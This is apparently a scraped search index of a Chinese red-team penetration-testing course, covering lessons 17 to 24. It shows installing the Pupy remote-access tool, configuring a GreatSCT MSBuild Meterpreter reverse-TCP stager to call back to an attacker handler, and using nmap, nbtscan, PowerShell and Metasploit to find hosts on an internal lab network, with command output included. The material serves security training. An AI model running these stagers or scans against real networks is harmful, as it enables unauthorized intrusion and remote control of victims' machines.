root@John:~/Desktop# git clone https://github.com/n1nj4sec/pupy.git root@John:~/Desktop/pupy/pupy# pip install rpyc root@John:~/Desktop/pupy/pupy# git submodule update root@John:~/Desktop/pupy/pupy# cd .. root@John:~/Desktop/pupy# pip install -r pupy/requirements.txt root@John:~/Desktop/pupy/# wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz root@John:~/Desktop/pupy# tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates root@John:~/Desktop/pupy/pupy# apt-get install python-xlib 附录: Collecting pyautogui Using cached PyAutoGUI-0.9.36.tar.gz Complete output from command python setup.py egg_info: Traceback (most recent call last): File \"\", line 1, in File \"/tmp/pip-build-a90ODY/pyautogui/setup.py\", line 6, in version=__import__('pyautogui').__version__, File \"pyautogui/__init__.py\", line 115, in from . import \\_pyautogui_x11 as platformModule File \"pyautogui/_pyautogui_x11.py\", line 160, in _display = Display(os.environ['DISPLAY']) File \"/usr/lib/python2.7/UserDict.py\", line 40, in __getitem__ raise KeyError(key) KeyError: 'DISPLAY' must install on local server with GUI Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/18_红蓝对抗渗透测试3.html":{"url":"Chapter1/18_红蓝对抗渗透测试3.html","title":"第十八课:红蓝对抗渗透测试3","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 工具介绍:https://github.com/GreatSCT/GreatSCT 简介: GreatSCT 是以 metasploit payload 为核心,白名单辅助 payload 执行框架。 root@John:~# git clone https://github.com/GreatSCT/GreatSCT.git Cloning into 'GreatSCT'... remote: Enumerating objects: 727, done. remote: Total 727 (delta 0), reused 0 (delta 0), pack‐reused 727 Receiving objects: 100% (727/727), 10.64 MiB | 572.00 KiB/s, done. Resolving deltas: 100% (384/384), done. =========================================================================== Great Scott! =========================================================================== [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker =========================================================================== Payload information: Name: Pure MSBuild C# Reverse TCP Stager Language: msbuild Rating: Excellent Description: pure windows/meterpreter/reverse_tcp stager, no shellcode Payload: msbuild/meterpreter/rev_tcp selected Required Options: Name Value Description ‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ DOMAIN X Optional: Required internal domain EXPIRE_PAYLOAD X Optional: Payloads expire after \"Y\" days HOSTNAME X Optional: Required system hostname INJECT_METHOD Virtual Virtual or Heap LHOST IP of the Metasploit handler LPORT 4444 Port of the Metasploit handler PROCESSORS X Optional: Minimum number of processors SLEEP X Optional: Sleep \"Y\" seconds, check if accelerated TIMEZONE X Optional: Check to validate not in UTC USERNAME X Optional: The required user account Available Commands: back Go back exit Completely exit GreatSCT generate Generate the payload options Show the shellcode's options set Set shellcode option [msbuild/meterpreter/rev_tcp>>] set LHOST 192.168.1.4 41 [msbuild/meterpreter/rev_tcp>>] set LPORT 53 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/19_基于netbios发现内网存活主机.html":{"url":"Chapter1/19_基于netbios发现内网存活主机.html","title":"第十九课:基于netbios发现内网存活主机","keywords":"","body":"netbios简介: IBM公司开发,主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的同一的命令集,作用是为了给局域网提供网络以及其他特殊功能。 系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名-——特指基于NETBIOS协议获得计算机名称——解析为相应IP地址,实现信息通讯,所以在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源的共享。 nmap扫描: root@John:~# nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4 msf扫描: msf > use auxiliary/scanner/netbios/nbname nbtscan扫描: 项目地址:http://www.unixwiz.net/tools/nbtscan.htmlWindows: D:\\>nbtscan-1.0.35.exe -m 192.168.1.0/24 D:\\>nbtstat -n (推荐) Linux:(推荐) root@John:~/Desktop/nbtscan# tar -zxvf ./nbtscan-source-1.0.35.tgz(1.5.1版本在附录) root@John:~/Desktop/nbtscan# make root@John:~/Desktop/nbtscan# nbtscan -r 192.168.1.0/24 root@John:~/Desktop/nbtscan# nbtscan -v -s: 192.168.1.0/24 NetBScanner: 项目地址:https://www.nirsoft.net/utils/netbios_scanner.html 附录: nbtscan:链接:https://pan.baidu.com/s/1hs8ckmg密码:av40 NBTscan version 1.5.1. Copyright (C) 1999-2003 Alla Bezroutchko. This is a free software and it comes with absolutely no warranty. You can use,distribute and modify it under terms of GNU GPL. Usage: nbtscan [-v] [-d] [-e] [-l] [-t timeout] [-b bandwidth] [-r] [-q] [-s separator] [-m retransmits] (-f filename)|() -v verbose output. Print all names receivedfrom each host -d dump packets. Print whole packet contents. -e Format output in /etc/hosts format. -l Format output in lmhosts format.Cannot be used with -v, -s or -h options. -t timeout wait timeout milliseconds for response.Default 1000. -b bandwidth Output throttling. Slow down output so that it uses no more that bandwidth bps. Useful on slow links, so that ougoing queries don't get dropped. -r use local port 137 for scans. Win95 boxes respond to this only.You need to be root to use this option on Unix. -q Suppress banners and error messages, -s separator Script-friendly output. Don't print column and record headers, separate fields with separator. -h Print human-readable names for services. Can only be used with -v option. -m retransmits Number of retransmits. Default 0. -f filename Take IP addresses to scan from file filename. -f - makes nbtscan take IP addresses from stdin. what to scan. Can either be single IP like 192.168.1.1 or range of addresses in one of two forms: xxx.xxx.xxx.xxx/xx or xxx.xxx.xxx.xxx-xxx. Examples: nbtscan -r 192.168.1.0/24 Scans the whole C-class network. nbtscan 192.168.1.25-137 Scans a range from 192.168.1.25 to 192.168.1.137 nbtscan -v -s : 192.168.1.0/24 Scans C-class network. Prints results in script-friendly format using colon as field separator. Produces output like that: 192.168.0.1:NT_SERVER:00U 192.168.0.1:MY_DOMAIN:00G 192.168.0.1:ADMINISTRATOR:03U 192.168.0.2:OTHER_BOX:00U ... nbtscan -f iplist Scans IP addresses specified in file iplist. NBTscan version 1.5.1:项目地址:https://github.com/scallywag/nbtscan Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/20_基于snmp发现内网存活主机.html":{"url":"Chapter1/20_基于snmp发现内网存活主机.html","title":"第二十课:基于snmp发现内网存活主机","keywords":"","body":"SNMP简介: SNMP是一种简单网络管理协议,它属于TCP/IP五层协议中的应用层协议,用于网络管理的协议。SNMP主要用于网络设备的管理。SNMP协议主要由两大部分构成:SNMP管理站和SNMP代理。SNMP管理站是一个中心节点,负责收集维护各个SNMP元素的信息,并对这些信息进行处理,最后反馈给网络管理员;而SNMP代理是运行在各个被管理的网络节点之上,负责统计该节点的各项信息,并且负责与SNMP管理站交互,接收并执行管理站的命令,上传各种本地的网络信息。 nmap扫描: root@John:~# nmap -sU --script snmp-brute 192.168.1.0/24 -T4 msf扫描: msf > use auxiliary/scanner/snmp/snmp_enum 项目地址:https://www.mcafee.com/us/downloads/free-tools/snscan.aspx依然是一块macafee出品的攻击 NetCrunch: 项目地址:https://www.adremsoft.com/demo/内网安全审计工具,包含了DNS审计,ping扫描,端口,网络服务等。 snmp for pl扫描: 项目地址:https://github.com/dheiland-r7/snmp 其他扫描: snmpbulkwalk: snmp-check: snmptest: 附录: use auxiliary/scanner/snmp/aix_version use auxiliary/scanner/snmp/snmp_enum use auxiliary/scanner/snmp/arris_dg950 use auxiliary/scanner/snmp/snmp_enum_hp_laserjet use auxiliary/scanner/snmp/brocade_enumhash use auxiliary/scanner/snmp/snmp_enumshares use auxiliary/scanner/snmp/cambium_snmp_loot use auxiliary/scanner/snmp/snmp_enumusers use auxiliary/scanner/snmp/cisco_config_tftp use auxiliary/scanner/snmp/snmp_login use auxiliary/scanner/snmp/cisco_upload_file use auxiliary/scanner/snmp/snmp_set use auxiliary/scanner/snmp/netopia_enum use auxiliary/scanner/snmp/ubee_ddw3611 use auxiliary/scanner/snmp/sbg6580_enum use auxiliary/scanner/snmp/xerox_workcentre_enumusers 其他内网安全审计工具(snmp):项目地址:https://www.solarwinds.com/topics/snmp-scanner项目地址:https://www.netscantools.com/nstpro_snmp.html snmp for pl : Can't locate NetAddr/IP root@John:~/Desktop/snmp# wget http://www.cpan.org/modules/by-module/NetAddr/NetAddr-IP-4.078.tar.gz root@John:~/Desktop/snmp# tar xvzf ./NetAddr-IP-4.078.tar.gz root@John:~/Desktop/snmp# cd NetAddr-IP-4.078/ root@John:~/Desktop/snmp/NetAddr-IP-4.078# ls About-NetAddr-IP.txt Artistic Changes Copying docs IP.pm Lite Makefile.PL MANIFEST MANIFEST.SKIP META.yml t TODO root@John:~/Desktop/snmp/NetAddr-IP-4.078# perl Makefile.PL root@John:~/Desktop/snmp/NetAddr-IP-4.078# make root@John:~/Desktop/snmp/NetAddr-IP-4.078# make install > _ Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Content/21-30.html":{"url":"Content/21-30.html","title":"21-30课","keywords":"","body":"第二十一课:基于ICMP发现内网存活主机 第二十二课:基于SMB发现内网存活主机 第二十三课:基于MSF发现内网存活主机第一季 第二十四课:基于MSF发现内网存活主机第二季 第二十五课:基于MSF发现内网存活主机第三季 第二十六课:基于MSF发现内网存活主机第四季 第二十七课:基于MSF发现内网存活主机第五季 第二十八课:基于MSF发现内网存活主机第六季 第二十九课:发现目标WEB程序敏感目录第一季 第三十课:解决msfvenom命令自动补全 Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/21-30/21_基于ICMP发现内网存活主机.html":{"url":"Chapter1/21-30/21_基于ICMP发现内网存活主机.html","title":"第二十一课:基于ICMP发现内网存活主机","keywords":"","body":"ICMP简介: 它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。 nmap扫描: root@John:~# nmap ‐sP ‐PI 192.168.1.0/24 ‐T4 root@John:~# nmap ‐sn ‐PE ‐T4 192.168.1.0/24 CMD下扫描: for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr \"TTL =\" powershell扫描: powershell.exe ‐exec bypass ‐Command \"Import‐Module ./Invoke‐TSPingSweep.ps1 ; Invoke‐TSPingSweep ‐StartAddress 192.168.1.1 ‐EndAddress 192.168.1.254 ‐Resolv eHost ‐ScanPort ‐Port 445,135\" D:\\>tcping.exe ‐n 1 192.168.1.0 80 附录: powershell 脚本与 tcping(来源互联网,后门自查)链接:https://pan.baidu.com/s/1dEWUBNN密码:9vge Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/21-30/22_基于SMB发现内网存活主机.html":{"url":"Chapter1/21-30/22_基于SMB发现内网存活主机.html","title":"第二十二课:基于SMB发现内网存活主机","keywords":"","body":"基于msf 模块: scanner/smb/smb_version msf auxiliary(scanner/smb/smb_version) > show options Module options (auxiliary/scanner/smb/smb_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads msf auxiliary(scanner/smb/smb_version) > set threads 20 threads => 20 msf auxiliary(scanner/smb/smb_version) > exploit [+] 192.168.1.4:445 ‐ Host is running Windows 7 Ultimate SP1 (build:7601) (name:XXXXXX) (workgroup:WORKGROUP ) [*] Scanned 39 of 256 hosts (15% complete) [*] Scanned 61 of 256 hosts (23% complete) [*] Scanned 81 of 256 hosts (31% complete) [+] 192.168.1.99:445 ‐ Host is running Windows 7 Ultimate SP1 (build:7601) (name:XXXXXX) (workgroup:WORKGROUP ) [+] 192.168.1.119:445 ‐ Host is running Windows 2003 R2 SP2 (build:3790) (name:XXXXXX) [*] Scanned 103 of 256 hosts (40% complete) [*] Scanned 130 of 256 hosts (50% complete) [*] Scanned 154 of 256 hosts (60% complete) [*] Scanned 181 of 256 hosts (70% complete) [*] Scanned 205 of 256 hosts (80% complete) [*] Scanned 232 of 256 hosts (90% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed 基于cme(参考第九十三课) root@John:~# cme smb 192.168.1.0/24 SMB 192.168.1.4 445 JOHN‐PC [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:JOHN‐PC) (domain:JOHN‐PC) (signing:False) (SMBv1:True) SMB 192.168.1.99 445 JOHN‐PC [*] Windows 7 Ultimate 7601 Service Pack x64 (name:JOHN‐PC) (domain:JOHN‐PC) (signing:False) (SMBv1:True) SMB 192.168.1.119 445 WIN03X64 [*] Windows Server 2003 R2 3790 Service Pack 2 x32 (name:WIN03X64) (domain:WIN03X64) (signing:False) (SMBv1:True 基于nmap root@John:~# nmap ‐sU ‐sS ‐‐script smb‐enum‐shares.nse ‐p 445 192.168.1.119 Starting Nmap 7.70 ( https://nmap.org ) at 2019‐01‐29 08:45 EST Nmap scan report for 192.168.1.119 Host is up (0.0029s latency). PORT STATE SERVICE 445/tcp open microsoft‐ds 445/udp open|filtered microsoft‐ds MAC Address: 00:0C:29:85:D6:7D (VMware) Host script results: | smb‐enum‐shares: | account_used: guest | \\\\192.168.1.119\\ADMIN$: | Type: STYPE_DISKTREE_HIDDEN | Comment: \\xE8\\xBF\\x9C\\xE7\\xA8\\x8B\\xE7\\xAE\\xA1\\xE7\\x90\\x86 | Anonymous access: | Current user access: | \\\\192.168.1.119\\C$: | Type: STYPE_DISKTREE_HIDDEN | Comment: \\xE9\\xBB\\x98\\xE8\\xAE\\xA4\\xE5\\x85\\xB1\\xE4\\xBA\\xAB | Anonymous access: | Current user access: | \\\\192.168.1.119\\E$: | Type: STYPE_DISKTREE_HIDDEN | Comment: \\xE9\\xBB\\x98\\xE8\\xAE\\xA4\\xE5\\x85\\xB1\\xE4\\xBA\\xAB | Anonymous access: | Current user access: | \\\\192.168.1.119\\IPC$: | Type: STYPE_IPC_HIDDEN | Comment: \\xE8\\xBF\\x9C\\xE7\\xA8\\x8B IPC | Anonymous access: READ | Current user access: READ/WRITE | \\\\192.168.1.119\\share: | Type: STYPE_DISKTREE | Comment: | Anonymous access: |_ Current user access: READ/WRITE Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds 基于CMD: for /l %a in (1,1,254) do start /min /low telnet 192.168.1.%a 445 基于powershell: 一句话扫描: 单IP: 445 | %{ echo ((new‐object Net.Sockets.TcpClient).Connect(\"192.168.1.1 19\",$_)) \"$_ is open\"} 2>$null 多ip: 1..5 | % { $a = $_; 445 | % {echo ((new‐object Net.Sockets.TcpClient).Connect(\"192.168.1.$a\",$_)) \"Port $_ is open\"} 2>$null} 多port,多IP: 118..119 | % { $a = $_; write‐host \"‐‐‐‐‐‐\"; write‐host \"192.168.1.$a\"; 80,445 | % {echo ((new‐object Net.Sockets.TcpClient).Conn ect(\"192.168.1.$a\",$_)) \"Port $_ is open\"} 2>$null} Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/21-30/23_基于MSF发现内网存活主机第一季.html":{"url":"Chapter1/21-30/23_基于MSF发现内网存活主机第一季.html","title":"第二十三课:基于MSF发现内网存活主机第一季","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 攻击机: 192.168.1.5 Debian 靶机: 192.168.1.2 Windows 7192.168.1.119 Windows 2003 MSF的search支持type搜索: msf > search scanner type:auxiliary Matching Modules ================ Name Disclosure Date Rank Check Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ auxiliary/admin/appletv/appletv_display_image normal No Apple TV Image Remote Control auxiliary/admin/appletv/appletv_display_video normal No Apple TV Video Remote Control auxiliary/admin/smb/check_dir_file normal Yes SMB Scanner CheckFile/Directory Utility auxiliary/admin/teradata/teradata_odbc_sql 2018‐03‐29 normal Yes Teradata ODBC SQL Query Module auxiliary/bnat/bnat_scan normal Yes BNAT Scanner auxiliary/gather/citrix_published_applications normal No Citrix MetaFrame ICA Published Applications Scanner auxiliary/gather/enum_dns normal No DNS Record Scanner and Enumerator .... auxiliary/scanner/winrm/winrm_cmd normal Yes WinRM Command Runner auxiliary/scanner/winrm/winrm_login normal Yes WinRM Login Utility auxiliary/scanner/winrm/winrm_wql normal Yes WinRM WQL Query Runner auxiliary/scanner/wproxy/att_open_proxy 2017‐08‐31 normal Yes Open WAN‐to‐LAN proxy on AT&T routers auxiliary/scanner/wsdd/wsdd_query normal Yes WS‐Discovery Information Discovery auxiliary/scanner/x11/open_x11 normal Yes X11 No‐Auth Scanner 第一季主要介绍 scanner 下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/udp_sweep auxiliary/scanner/ftp/ftp_version auxiliary/scanner/http/http_version auxiliary/scanner/smb/smb_version 一:基于scanner/http/http_version发现HTTP服务 msf auxiliary(scanner/http/http_version) > show options Module options (auxiliary/scanner/http/http_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Proxies no A proxy chain of format type:host:port[,type:host:port] [...] RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections THREADS 20 yes The number of concurrent threads VHOST no HTTP server virtual host msf auxiliary(scanner/http/http_version) > exploit [+] 192.168.1.1:80 [*] Scanned 27 of 256 hosts (10% complete) [*] Scanned 63 of 256 hosts (24% complete) [*] Scanned 82 of 256 hosts (32% complete) [*] Scanned 103 of 256 hosts (40% complete) [+] 192.168.1.119:80 Microsoft‐IIS/6.0 ( Powered by ASP.NET ) [*] Scanned 129 of 256 hosts (50% complete) [*] Scanned 154 of 256 hosts (60% complete) [*] Scanned 182 of 256 hosts (71% complete) [*] Scanned 205 of 256 hosts (80% complete) [*] Scanned 231 of 256 hosts (90% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed 二:基于scanner/smb/smb_version发现SMB服务 msf auxiliary(scanner/smb/smb_version) > show options Module options (auxiliary/scanner/smb/smb_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 20 yes The number of concurrent threads msf auxiliary(scanner/smb/smb_version) > exploit [+] 192.168.1.2:445 ‐ Host is running Windows 7 Ultimate SP1 (build:7601) (name:JOHN‐PC) (workgroup:WORKGROUP ) [*] Scanned 40 of 256 hosts (15% complete) [*] Scanned 60 of 256 hosts (23% complete) [*] Scanned 79 of 256 hosts (30% complete) [+] 192.168.1.119:445 ‐ Host is running Windows 2003 R2 SP2 (build:3790) (name:WIN03X64) [*] Scanned 103 of 256 hosts (40% complete) [*] Scanned 128 of 256 hosts (50% complete) [*] Scanned 154 of 256 hosts (60% complete) [*] Scanned 181 of 256 hosts (70% complete) [*] Scanned 206 of 256 hosts (80% complete) [*] Scanned 231 of 256 hosts (90% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed 三:基于scanner/ftp/ftp_version发现FTP服务 msf auxiliary(scanner/ftp/ftp_version) > show options Module options (auxiliary/scanner/ftp/ftp_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ FTPPASS mozilla@example.com no The password for the specified username FTPUSER anonymous no The username to authenticate as RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier RPORT 21 yes The target port (TCP) THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/ftp/ftp_version) > exploit [*] Scanned 51 of 256 hosts (19% complete) [*] Scanned 52 of 256 hosts (20% complete) [*] Scanned 100 of 256 hosts (39% complete) [+] 192.168.1.119:21 ‐ FTP Banner: '220 Microsoft FTP Service\\x0d\\x0a' [*] Scanned 103 of 256 hosts (40% complete) [*] Scanned 133 of 256 hosts (51% complete) [*] Scanned 183 of 256 hosts (71% complete) [*] Scanned 197 of 256 hosts (76% complete) [*] Scanned 229 of 256 hosts (89% complete) [*] Scanned 231 of 256 hosts (90% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed 四:基于scanner/discovery/arp_sweep发现内网存活主机 msf auxiliary(scanner/discovery/arp_sweep) > show options Module options (auxiliary/scanner/discovery/arp_sweep): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ INTERFACE no The name of the interface RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier SHOST no Source IP Address SMAC no Source MAC Address THREADS 50 yes The number of concurrent threads TIMEOUT 5 yes The number of seconds to wait for new data msf auxiliary(scanner/discovery/arp_sweep) > exploit [+] 192.168.1.1 appears to be up (UNKNOWN). [+] 192.168.1.2 appears to be up (UNKNOWN). [+] 192.168.1.119 appears to be up (VMware, Inc.). [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed 五:基于scanner/discovery/udp_sweep发现内网存活主机 msf auxiliary(scanner/discovery/udp_sweep) > show options Module options (auxiliary/scanner/discovery/udp_sweep): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BATCHSIZE 256 yes The number of hosts to probe in each set RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/discovery/udp_sweep) > exploit [*] Sending 13 probes to 192.168.1.0‐>192.168.1.255 (256 hosts) [*] Discovered DNS on 192.168.1.1:53 (ce2a8500000100010000000007564552 53494f4e0442494e440000100003c00c0010000300000001001a19737572656c7920796f7 5206d757374206265206a6f6b696e67) [*] Discovered NetBIOS on 192.168.1.2:137 (JOHN‐PC::U :WORKGROUP::G :JOHN‐PC::U :WORKGROUP::G :WORKGROUP::U :__MSBROWSE__ :G :4c:cc:6a:e3:51:27) [*] Discovered NetBIOS on 192.168.1.119:137 (WIN03X64::U :WIN03X64::U :WORKGROUP::G :WORKGROUP::G :WIN03X64::U :ADMINISTRA TOR::U :WIN03X64::U :00:0c:29:85:d6:7d) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/21-30/24_基于MSF发现内网存活主机第二季.html":{"url":"Chapter1/21-30/24_基于MSF发现内网存活主机第二季.html","title":"第二十四课:基于MSF发现内网存活主机第二季","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 攻击机: 192.168.1.5 Debian 靶机: 192.168.1.2 Windows 7192.168.1.115 Windows 2003192.168.1.119 Windows 2003 第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/udp_sweep auxiliary/scanner/ftp/ftp_version auxiliary/scanner/http/http_version auxiliary/scanner/smb/smb_version 第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/ssh/ssh_version auxiliary/scanner/telnet/telnet_version auxiliary/scanner/discovery/udp_probe auxiliary/scanner/dns/dns_amp auxiliary/scanner/mysql/mysql_version 六:基于auxiliary/scanner/ssh/ssh_version发现SSH服务 msf auxiliary(scanner/ssh/ssh_version) > show options Module options (auxiliary/scanner/ssh/ssh_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier RPORT 22 yes The target port (TCP) THREADS 50 yes The number of concurrent threads TIMEOUT 30 yes Timeout for the SSH probe msf auxiliary(scanner/ssh/ssh_version) > exploit [+] 192.168.1.5:22 ‐ SSH server version: SSH‐2.0‐OpenSSH_7.9p1 Debian‐5 ( service.version=7.9p1 openssh.comment=Debian‐5 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.cpe23=cpe:/a:openb sd:openssh:7.9p1 os.vendor=Debian os.family=Linux os.product=Linux os.cpe 23=cpe:/o:debian:debian_linux:‐ service.protocol=ssh fingerprint_db=ssh.banner ) [*] Scanned 52 of 256 hosts (20% complete) [*] Scanned 95 of 256 hosts (37% complete) [*] Scanned 100 of 256 hosts (39% complete) [*] Scanned 103 of 256 hosts (40% complete) [*] Scanned 131 of 256 hosts (51% complete) [*] Scanned 154 of 256 hosts (60% complete) [*] Scanned 180 of 256 hosts (70% complete) [*] Scanned 206 of 256 hosts (80% complete) [*] Scanned 235 of 256 hosts (91% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed 七:基于auxiliary/scanner/telnet/telnet_version发现TELNET服务 msf auxiliary(scanner/telnet/telnet_version) > show options Module options (auxiliary/scanner/telnet/telnet_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ PASSWORD no The password for the specified username RHOSTS 192.168.1.119 yes The target address range or CIDR identifier RPORT 23 yes The target port (TCP) THREADS 50 yes The number of concurrent threads TIMEOUT 30 yes Timeout for the Telnet probe USERNAME no The username to authenticate as msf auxiliary(scanner/telnet/telnet_version) > exploit [+] 192.168.1.119:23 ‐ 192.168.1.119:23 TELNET Welcome to Microsoft Telnet Service \\x0a\\x0a\\x0dlogin: [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 八:基于scanner/discovery/udp_probe发现内网存活主机 msf auxiliary(scanner/discovery/udp_probe) > show options Module options (auxiliary/scanner/discovery/udp_probe): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ CHOST no The local client address RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/discovery/udp_probe) > exploit [+] Discovered NetBIOS on 192.168.1.2:137 (JOHN‐PC::U :WORKGROUP: :G :JOHN‐PC::U :WORKGROUP::G :WORKGROUP::U :__MSBROWSE__ :G :4c:cc:6a:e3:51:27) [+] Discovered DNS on 192.168.1.1:53 (de778500000100010000000007564552 53494f4e0442494e440000100003c00c0010000300000001001a19737572656c7920796f7 5206d757374206265206a6f6b696e67) [*] Scanned 43 of 256 hosts (16% complete) [*] Scanned 52 of 256 hosts (20% complete) [*] Scanned 89 of 256 hosts (34% complete) [+] Discovered NetBIOS on 192.168.1.119:137 (WIN03X64::U :WIN03X64::U :WORKGROUP::G :WORKGROUP::G :WIN03X64::U :ADMINISTRA TOR::U :WIN03X64::U :00:0c:29:85:d6:7d) [*] Scanned 103 of 256 hosts (40% complete) [*] Scanned 140 of 256 hosts (54% complete) [*] Scanned 163 of 256 hosts (63% complete) [*] Scanned 184 of 256 hosts (71% complete) [*] Scanned 212 of 256 hosts (82% complete) [*] Scanned 231 of 256 hosts (90% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed 九:基于auxiliary/scanner/dns/dns_amp发现内网存活主机 msf auxiliary(scanner/dns/dns_amp) > show options Module options (auxiliary/scanner/dns/dns_amp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BATCHSIZE 256 yes The number of hosts to probe in each set DOMAINNAME isc.org yes Domain to use for the DNS request FILTER no The filter string for capturing traffic INTERFACE no The name of the interface PCAPFILE no The name of the PCAP capture file to process QUERYTYPE ANY yes Query type(A, NS, SOA, MX, TXT, AAAA, RRSIG, DNSKEY, ANY) RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier RPORT 53 yes The target port (UDP) SNAPLEN 65535 yes The number of bytes to capture THREADS 50 yes The number of concurrent threads TIMEOUT 500 yes The number of seconds to wait for new data msf auxiliary(scanner/dns/dns_amp) > exploit [*] Sending DNS probes to 192.168.1.0‐>192.168.1.255 (256 hosts) [*] Sending 67 bytes to each host using the IN ANY isc.org request [+] 192.168.1.1:53 ‐ Response is 530 bytes [7.91x Amplification] [*] 